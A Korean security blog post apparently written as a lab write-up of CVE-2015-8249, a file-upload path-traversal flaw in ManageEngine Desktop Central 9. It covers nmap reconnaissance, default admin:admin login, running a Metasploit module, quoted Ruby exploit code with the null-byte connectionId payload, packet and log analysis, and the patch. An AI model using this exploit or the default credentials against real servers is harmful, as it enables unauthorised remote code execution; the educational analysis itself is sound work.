본문 바로가기

보안/모의해킹

CVE-2015-8249 취약점 분석

ManageEngine Endpoint central 이란?

[그림 1] ManageEngine 로고

ManageEngine Desktop Central은 기업용 IT 관리 및 원격 지원 솔루션을 제공하는 소프트웨어이다.

이 프로그램은 엔드포인트 관리, 원격 지원, 소프트웨어 설치 및 업데이트, 보안 설정, 인벤토리 관리 등의 기능을 통합적으로 제공하여 IT 관리자들이 네트워크의 컴퓨터 및 서버를 효과적으로 관리할 수 있도록 도와준다. 기기를 가리지 않고 노트북, 모바일 폰, 데스크탑, 서버 등 모든 기기를 관리할 수 있으며, 회사 내부에서는 IT 부서, 보안 부서, 임원 부서 등 직원들을 관리가 가능하고, , 사무실, 하이브리드 등 어디서든 보안을  유지하며 관리를 할 수 있다.

 

ManageEngine Endpoint Central 은 다양한 기능들이 있다.

1.     윈도우, 리눅스, 맥 등 네트워크에 존재하는 취약점들을 자동으로 취약점 패치

2.     네트워크 내에 위협을 감지하거나 고칠수 있다.

3.     랜섬웨어 공격의 근본 원인 파악하면서 대응 및 향후 공격 방지

4.     비 허가 기기 접근 시 제한하기

5.     데이터 소멸 방지

6.     소프트웨어와 하드웨어 같은 IT 자산 관리

7.     원격 조정으로 사용자 문제 해결

8.     브라우저 모니터링으로 보안 감시

9.     엔드포인트 특권 관리 ( 내부 망 보안 관리)

10. 조직 수준에 알 맞는 정책 및 산업 표준 관리

 

CVE-2015-8249 이란?

[그림  2] ManageEngine 로고

이 취약점은 파일 업로드 공격을 통해 원격 코드 실행을 가능 하도록 하는 취약점이다.

이 취약점은 ManageEngine Desktop Central 9의 특정 버전에서 존재하는데 구체적으로는 빌드 번호가 90109 91084 버전이다

파일 업로드 로직에는 FileUploadServelt 클래스가 존재하는데 해당 클래스에서 7z 파일형식으로

업로드가 되는데 이때 업로드 된 파일을 서버에서 식별하고 처리하는데 사용하는 ConnectionId 매개

변수에 대한 입력 검증 부족으로 인해 경로 주입(path injection)취약점이 발생되었다.

공격자는 이러한 취약점을 이용해 ConnectionId에서 jsp파일확장자 끝 부분에 null byte(%00)

주입을 하게 되면 jsp파일이 업로드가 아닌 .7z로 파일 확장자가 바뀐다. 그리고 업로드 되는 JSP 혹은

PHP 파일은 외부에서 실행이 안되는 위치에 있기 때문에 “ .. “를 이용해서 절대 경로로 빠져나와서

JSP파일을 업로드 시킨다.

다음, 서버 측에서 스크립트를 실행하여 원격 코드를 실행을 한다.

기본적으로 ManageEngine Desktop Central 버전은 포트 8020에서 실행되지만 이전 버전은 포트 8040에서 실행된다. 또한 이 공격을 사용하면 FileUploadServlet에서 생성된 디버깅 정보가 파일 rdslog0.txt에 남게 된다.

 


실습 환경

[그림 3] 실습 환경


실습

취약점 분석

먼저 ManageEngine Desktop Central 9이 CVE-2019-8249에 해당되는 빌드 번호인지 알아내야 하는데

해당 실습 환경에서 빌드번호를 알아내는 방법은 3가지가 있다.

먼저 nmap을 통해  타겟을 먼저 스캔을 한 결과이다.

방법 1.

# Nmap 7.94 scan initiated Sat Nov 11 11:07:05 2023 as: nmap -p- --max-retries 1 -Pn -n --open --min-rate 3000 -T4 -sV -oA ./tcpnmap 192.168.180.159
Nmap scan report for 192.168.180.159
Host is up (0.00036s latency).
Not shown: 54646 closed tcp ports (conn-refused), 10841 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE              VERSION
21/tcp    open  ftp                  Microsoft ftpd
22/tcp    open  ssh                  OpenSSH 7.1 (protocol 2.0)
80/tcp    open  http                 Microsoft IIS httpd 7.5
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds         Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1617/tcp  open  java-rmi             Java RMI
3000/tcp  open  http                 WEBrick httpd 1.3.1 (Ruby 2.3.3 (2016-11-21))
3306/tcp  open  mysql                MySQL 5.5.20-log
3389/tcp  open  ssl/ms-wbt-server?
3700/tcp  open  giop                 CORBA naming service
3820/tcp  open  ssl/giop             CORBA naming service
3920/tcp  open  ssl/exasoftport1?
4848/tcp  open  ssl/http             Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7676/tcp  open  java-message-service Java Message Service 301
8009/tcp  open  ajp13                Apache Jserv (Protocol v1.3)
8019/tcp  open  qbdb?
8022/tcp  open  http                 Apache Tomcat/Coyote JSP engine 1.1
8028/tcp  open  postgresql           PostgreSQL DB
8031/tcp  open  ssl/unknown
8032/tcp  open  desktop-central      ManageEngine Desktop Central DesktopCentralServer
8080/tcp  open  http                 Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8181/tcp  open  ssl/http             Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8282/tcp  open  http                 Apache Tomcat/Coyote JSP engine 1.1
8443/tcp  open  ssl/https-alt?
8444/tcp  open  desktop-central      ManageEngine Desktop Central DesktopCentralServer
8484/tcp  open  http                 Jetty winstone-2.8
8585/tcp  open  http                 Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
8686/tcp  open  java-rmi             Java RMI
9200/tcp  open  wap-wsp?
9300/tcp  open  vrace?
47001/tcp open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc                Microsoft Windows RPC
49153/tcp open  msrpc                Microsoft Windows RPC
49154/tcp open  msrpc                Microsoft Windows RPC
49155/tcp open  msrpc                Microsoft Windows RPC
49156/tcp open  unknown
49180/tcp open  java-rmi             Java RMI
49182/tcp open  tcpwrapped
49211/tcp open  msrpc                Microsoft Windows RPC
49256/tcp open  ssh                  Apache Mina sshd 0.8.0 (protocol 2.0)
49258/tcp open  jenkins-listener     Jenkins TcpSlaveAgentListener
49300/tcp open  msrpc                Microsoft Windows RPC
49305/tcp open  java-rmi             Java RMI
49308/tcp open  unknown
49309/tcp open  unknown
49310/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

 

아무래도 모의해킹 실습 환경을 만들어진 환경이다 보니 엄청나게 다양한 포트들과 취약점으로 보이는 결과들이 나왔다.

우리는 주목해야할 포트들은 다음과 같다

8022/tcp  open  http                 Apache Tomcat/Coyote JSP engine 1.1
8032/tcp  open  desktop-central      ManageEngine Desktop Central DesktopCentralServer
8444/tcp  open  desktop-central      ManageEngine Desktop Central DesktopCentralServer

먼저 ManageEngine 서비스가 8032와 8444포트를 통해 구현이 되고 있음을 알고 있고 8022는 ManageEngine와 연결된 웹서버이다.

[그림 4] ManageEngine 웹서버 접속

 

8022 포트로 접속을 하면 다음과 같은 로그인 창이 나오는 것을 확인 할수 있다.

 

[그림 5] 페이지 소스 확인

해당 페이지에 소스를 확인 하는 곳에 접속을 한다.

[그림 6] 찾기 기능을 통한 build 버전 확인

이때 ctrl + f 를 눌러서 페이지내에서 찾기 기능 실행을 하고 build 라고 검색을 하면

페이지내에서는 안보이도록 hildden 기능을 활성화 시켰지만 소스보기를 통해 확인 할수 있다.

 

방법 2.

구글링을 통해 디폴트 계정을 찾는 방법이다.

[그림 7] 구글링으로 디폴트 계정 확인

구글링을 통해 ManageEngine 공식 사이트에서 디폴트 계정이 admin : admin 인것을 확인 할수 있다.

[그림 8] admin 계정 접속

사실상 endpoint를 관리하는 웹서버가 장악을 당했다는 것은 사실 여기서 취약점 분석을 끝맞춰도 될정도로

심각한 문제이다.

[그림 9] endpoint 관리 기능

admin 계정으로 endpoint를 관리 할수 있는 기능들이 매우 많은 것을 확인 할수 있다. 

메일 서버 관리, DB 관리, API 키 관리 등 매우 민감한 정보들에 접근을 할수 있다.

여기서 직원들의 정보들을 통해 사회 공학 기법을 이용하여 개개인에게 피해를 줄수도 있고, DB에서 데이터에 접근 하여 데이터 유출 및 수정 등 다양한 시나리오를 만들수 있다.

 

[그림 9] Admin탭 우측에 Support 탭에 접속을 하면 해당 서버 및 프로그램에 대해서 알수 있다.

[그림 10] Support 탭에서 나오는 정보

ManageEngine 프로그램 정보들 외에 시스템,설치, 데이터베이스 정보들을 확인 할 수 있다.

 

방법 3.

마지막으로는 취약점 자동 분석 프로그램을 이용 해서 빌드 버전을 알아낼것이다.

Nessus 사용방법 및 설치: https://adm1n1.tistory.com/75

 

[그림 11] ManageEngine 취약점 분석 결과물

 

다양한 취약점들이 발견 되었지만 취약점 결과들 중 INFO에서 확인을 할것이다.

[그림 12] Nessus를 통한 빌드 버전 확인

ManageEngine 의 버전 정보와 빌드버전을 확인 하였다.

 

Exploit

[그림 13] 메타스폴로이드 실행

메타스폴로이드를  통해 침투를 할 것이기에 실행을 한다.

[그림 14] 취약점 exploit 검색

search 기능으로 manageengine , 91084 라는 키워드를 통해 exploit 코드가 있는 지 검색을 했고

그에 맞는 exploit 코드가 하나 나왔다.

[그림 15] exploit 선택

use 0 이라는 명령어를 통해 exploit 코드를 선택한다 .

[그림 16] ip , port 선택

set 명령어를 통해 공격 할 타겟에 맞는 ip와 포트를 선택 한다.

[그림 17] 공격 코드 실행

exploit 명령어를 통해 공격을 시행을 하고

공격이 성공하여 세션이 열렸다.

 

공격이 성공 되었으면 내가 원하는 타겟의 서버 환경이 맞는지 sysinfo 명령어를 통해  확인을 한다. 


분석

메타스폴로이드 exploit 코드 분석

def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

    jspraw << %Q|int numbytes = data.length();\n|

    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|

    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|

    jspraw
  end

이 메소드는 주어진 exe 파일의 이진데이터를 16진수로 변환을 하고

변환한 데이터를 JSP파일에 쓰는 JAVA코드를 생성한다.

결과적으로 이 메소드는 JSP파일을 생성하고 원격 시스템에서 실행되어야 하는 코드를 포함하게 된다.

def get_jsp_stager
  exe = generate_payload_exe(code: payload.encoded)
  jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
  # pwd: C:\ManageEngine\DesktopCentral_Server\bin
  # targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf
  register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

  {
    jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
    jsp_name:    jsp_fname
  }
end

 

해당 get_jsp_stager 메소드는 랜덤문자들을 이용하여 jsp파일을 생성하고

jsp_drop_bin 메소드와 jsp_execute_command 메소드를 이용하여 생성하는 jsp파일의 내용을 구성한다.

def check
  uri = normalize_uri(target_uri.path, '/configurations.do')

  res = send_request_cgi({
    'method' => 'GET',
    'uri'    => uri
  })

  unless res
    vprint_error("Connection timed out")
    return Exploit::CheckCode::Unknown
  end

  build_number = get_build_number(res)
  vprint_status("Found build number: #{build_number}")

  html_title   = get_html_title(res)
  vprint_status("Found title: #{html_title}")

  if build_number <= '91084'
    return Exploit::CheckCode::Appears
  elsif /ManageEngine Desktop Central/ === html_title
    return Exploit::CheckCode::Detected
  end

  Exploit::CheckCode::Safe
end

해당 check 메소드는 get_build_number메소드와 get_html_title 메소드를 이용하여

타겟이 공격코드의 작동할 수 있는 취약한 버전(빌드버전:91084)의 프로그램을 쓰고 있는지 확인을 하는 과정이다.

def upload_jsp(stager_info)
 uri = normalize_uri(target_uri.path, 'fileupload')
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => uri,
      'ctype'    => 'application/octet-stream',
      'encode_params' => false,
      'data'     => stager_info[:jsp_payload],
      'vars_get' => {
        'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00",
        'resourceId'   => Rex::Text.rand_text_alpha(1),
        'action'       => 'rds_file_upload',
        'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
        'customerId'   => Rex::Text.rand_text_numeric(rand(10)+5)
      }
    })
    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
    end
  end

 

upload_jsp 메소드는 이 공격 코드에 핵심 부분이라고 할 수 있다.

jsp파일을 업로드를 위치, 형식 등 을 정의하며 해당 취약점에 큰 역할인 connectionId에 랜덤 문자를 넣어주고 상대경로로 악성 jsp 파일로 위치한다. 그리고  resourceId, computerName, customerId는 랜덤문자로 채워준다.

또한 업로드를 실패할 경우 메시지가 출력되도록 정의가 되어있다

 

와이어샤크 분석

[그림 17] 업로드 요청 패킷

와이어 샤크에 96번째 패킷에 http 프로토콜에 잡힌 부분을 분석을 하면

랜덤 문자들로 이루어진 vMQzy.jsp 파일(그림 17 노란색 밑줄) 이 업로드 요청을 하는 것을 확인할 수 있다

99번째 패킷에서는 요청한 jsp 파일 업로드가 코드 200으로 성공적으로 업로드를 하였다.

[그림 18] 96번째 패킷 내용

96번째 패킷에 내용을 자세히 보면

upload_jsp 메소드에서 작동한 connectionId, resourceId, computerName, customerId가 랜덤 문자들로

생성된 것을 확인할 수 있다.

[그림 19] 침투 후 확인 패킷

본 실습에서 침투 후 sysinfo 명령어로 침투 확인 명령을 시행한 패킷 내용이다.

108번째 패킷에서http 프로토콜을 이용하여 vMQzy.jsp에 명령어를 입력을 하여 요청을 하였고

110번째 패킷에서 200코드로 허가되었다.( 그림 19 빨간색 박스)

115번째 패킷에서 내용들을 확인할 수 있다 (그림 19 노란색 박스)

[그림 20] 115번째 패킷

115번째 패킷을 자세히 보면 sysinfo로 인한 시스템 정보를 넘길때  Browser 프로토콜로 인해 정보를 넘기는 패킷이다.

 

로그 파일 분석

rdslog0.txt 파일은 ManageEngine Desktop Central 9에서 발생한 디버깅 및 로깅 정보를 기록하는 파일로, 특별한 경로에 저장이 된다.

보통 이 파일은 디버깅 목적으로 사용되며, 프로그램이 실행 중에 발생하는 이벤트 및 오류에 대한 자세한 정보를 포함한다.

rdslog0.txt파일은 C:\ManageEngine\DesktopCentral_Server\logs\rdslog0.txt 위치에 존재한다.

[그림 21] 로그 파일 다운로드

메타스폴로이드로 연결한 세션으로 download라는 명령어를 통해 로그 파일을 다운로드 한다.

[그림 22] 원격 조정 실행

원격조정을 위해 서비스를 실행 중인 로그 파일 기록들이다.

[그림 23] 원격 조정 실행 시킨 ip

원격 조정이 실행이 됐고 FileUploadServlet에 요청한 값 중 하나가 공격자 호스트인 칼리 리눅스 IP 192.168.180.147이 받는 다는 기록을 확인할 수 있다. (그림 23 빨간색 네모)

[그림 24] jsp 파일 업로드 로그

FileUploadServlet에 업로드 되는 악성코드가 포함된 jsp 파일은 .7z 파일 형식(그림 24 빨간 네모)으로 업로드가 되는 기록을 확인할 수 있다.

[그림 25] 로그 다운받은 기록

그림 21 에서 rdslog0.txt  로그 파일을 다운 받을 때 기록되었던 기록이다


해결 방안

해당 취약점 보다 위에 버전인 프로그램 사용

빌드 버전 90109  91084CVE-2015-8249로 인해 취약점이 발견되었다.

20151130일에 빌드 버전 91093 버전은 해당 취약점을 보완하면서 배포되었다. 해당 취약점을 보완하기 위해서는 91093 버전 이상의 버전의 프로그램을 이용하면 된다. 

 


참조

https://www.exploit-db.com/exploits/38982

https://www.rapid7.com/blog/post/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249/

https://www.manageengine.com/products/desktop-central/

반응형